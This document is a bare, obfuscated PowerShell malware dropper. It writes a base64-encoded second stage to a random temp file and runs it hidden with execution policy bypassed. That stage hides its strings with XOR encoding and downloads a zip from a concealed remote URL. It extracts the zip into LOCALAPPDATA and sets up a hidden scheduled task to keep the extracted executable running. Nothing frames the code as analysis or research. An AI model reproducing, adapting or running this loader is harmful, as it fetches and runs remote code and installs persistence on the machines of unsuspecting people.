$n=-join((48..57+97..102)|Get-Random -Count 8|%{[char]$_}) $f="$env:TEMP\$n.ps1" $b="JEVycm9yQWN0aW9uUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSIKZnVuY3Rpb24gQyhbaW50W11dJG4pey1qb2luKCRufCV7W2NoYXJdKCRfLWJ4b3I2MSl9KX0KJGc5bXA9OTkxMDg7W3ZvaWRdJGc5bXA7I3hjM3BxbGg7JGMzdnc9MzgxNTM7W3ZvaWRdJGMzdncKW1RocmVhZGluZy5UaHJlYWRdOjpTbGVlcCgyMDAwMCkKJHo9Sm9pbi1QYXRoICRlbnY6TE9DQUxBUFBEQVRBIChDIEAoMTI2LDEyMSwxMDksOTcsNzgsNzMsODIsNzksODgsMTksNzcsODYsOTApKQokZD1Kb2luLVBhdGggJGVudjpMT0NBTEFQUERBVEEgKEMgQCgxMTIsODQsOTQsNzksODIsNzgsODIsOTEsNzMsOTcsMTA1LDY4LDc3LDg4LDExMCw5NCw3OSw4NCw3Nyw3MykpCiR1PUMgQCg4NSw3Myw3Myw3Nyw3OCw3LDE4LDE4LDc4LDkyLDc1LDgwLDczLDkyLDc3LDc3LDE5LDk1LDE2LDk0LDg5LDgzLDE5LDgzLDg4LDczLDE4LDkwLDg0LDczLDg1LDcyLDk1LDE5LDcxLDg0LDc3KQooTmV3LU9iamVjdCBOZXQuV2ViQ2xpZW50KS5Eb3dubG9hZEZpbGUoJHUsJHopCmlmKCEoVGVzdC1QYXRoICRkKSl7W0lPLkRpcmVjdG9yeV06OkNyZWF0ZURpcmVjdG9yeSgkZCl8T3V0LU51bGx9CkFkZC1UeXBlIC1BIFN5c3RlbS5JTy5Db21wcmVzc2lvbi5GaWxlU3lzdGVtO1tJTy5Db21wcmVzc2lvbi5aaXBGaWxlXTo6RXh0cmFjdFRvRGlyZWN0b3J5KCR6LCRkKQpbSU8uRmlsZV06OkRlbGV0ZSgkeikKJGU9Sm9pbi1QYXRoICRkIChDIEAoMTIyLDg0LDczLDExNyw3Miw5NSwxMjEsODgsNzgsODYsNzMsODIsNzcsMTksODgsNjksODgpKQppZihUZXN0LVBhdGggJGUpewogdHJ5ewogICR0YT1OZXctU2NoZWR1bGVkVGFza0FjdGlvbiAtRXhlY3V0ZSAkZSAtV29ya2luZ0RpcmVjdG9yeSAkZAogICR0cD1OZXctU2NoZWR1bGVkVGFza1ByaW5jaXBhbCAtVXNlcklkICRlbnY6VVNFUk5BTUUgLUxvZ29uVHlwZSBJbnRlcmFjdGl2ZQogICR0cz1OZXctU2NoZWR1bGVkVGFza1NldHRpbmdzU2V0IC1BbGxvd1N0YXJ0SWZPbkJhdHRlcmllcyAtRG9udFN0b3BJZkdvaW5nT25CYXR0ZXJpZXMgLUhpZGRlbgogICR0dD1OZXctU2NoZWR1bGVkVGFzayAtQWN0aW9uICR0YSAtUHJpbmNpcGFsICR0cCAtU2V0dGluZ3MgJHRzCiAgJHRuPUMgQCgxMjQsNzcsNzcsMTEzLDg0LDc4LDczLDEyNyw5Miw5NCw4Niw3Miw3NykKICBSZWdpc3Rlci1TY2hlZHVsZWRUYXNrIC1UYXNrTmFtZSAkdG4gLUlucHV0T2JqZWN0ICR0dCAtRm9yY2V8T3V0LU51bGwKICBTdGFydC1TY2hlZHVsZWRUYXNrIC1UYXNrTmFtZSAkdG4KICBTdGFydC1TbGVlcCAtU2Vjb25kcyA1CgogIGlmKC1ub3QoR2V0LVByb2Nlc3MgLU5hbWUgKEMgQCgxMjIsODQsNzMsMTE3LDcyLDk1LDEyMSw4OCw3OCw4Niw3Myw4Miw3NykpIC1FQSBTaWxlbnRseUNvbnRpbnVlKSl7U3RhcnQtUHJvY2VzcyAtRmlsZVBhdGggJGUgLVdvcmtpbmdEaXJlY3RvcnkgJGR9CiB9Y2F0Y2h7U3RhcnQtUHJvY2VzcyAtRmlsZVBhdGggJGUgLVdvcmtpbmdEaXJlY3RvcnkgJGR9Cn0K" $c=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b)) Set-Content -Path $f -Value $c -Encoding UTF8 $pi=New-Object Diagnostics.ProcessStartInfo $pi.FileName="powershell.exe" $pi.Arguments="-nop -ep bypass -w hidden -f $f" $pi.UseShellExecute=$false $pi.CreateNoWindow=$true [Diagnostics.Process]::Start($pi)